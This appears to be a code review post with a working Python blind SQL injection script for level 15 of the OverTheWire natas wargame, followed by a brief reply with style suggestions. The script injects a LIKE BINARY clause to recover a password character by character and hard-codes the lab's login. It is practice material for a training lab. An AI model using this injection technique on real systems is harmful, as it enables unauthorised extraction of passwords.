natas15 blind SQL injection I've been having fun with natas, a wargame, from overthewire.

This is another script I made to pass stage 15. I'm using Python with SQL injection to find the password for the next level.

I think the program is short, and easy to understand. But maybe I could have done a few things even better. 

Any review is welcome!

import string
import requests

POSSIBLE_CHARS = string.ascii_letters + string.digits
URL = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'

def blind_sql():
    password = ''
    correct_guess = b'This user exists.'

    # Because all natas passwords were 32 char long
    for i in range(32): 
        for char in POSSIBLE_CHARS:
            sql = f'{URL}?username=natas16" AND password LIKE BINARY "{password}{char}%'
            if requests.get(sql).content.find(correct_guess) != -1:
                password += char
                break

    return f'Password = {password}'

if __name__ == '__main__':
    if requests.get(URL).status_code == requests.codes.ok:
        print(blind_sql())
    else:
        print('Authentication failed!')
You code is well-written.
You may want to


add a docstring to the function
rename the loop variable i to _, since it is not being used.


You may also want to consider using itertools.repeat, which is said to be slightly faster than for _ in range(N).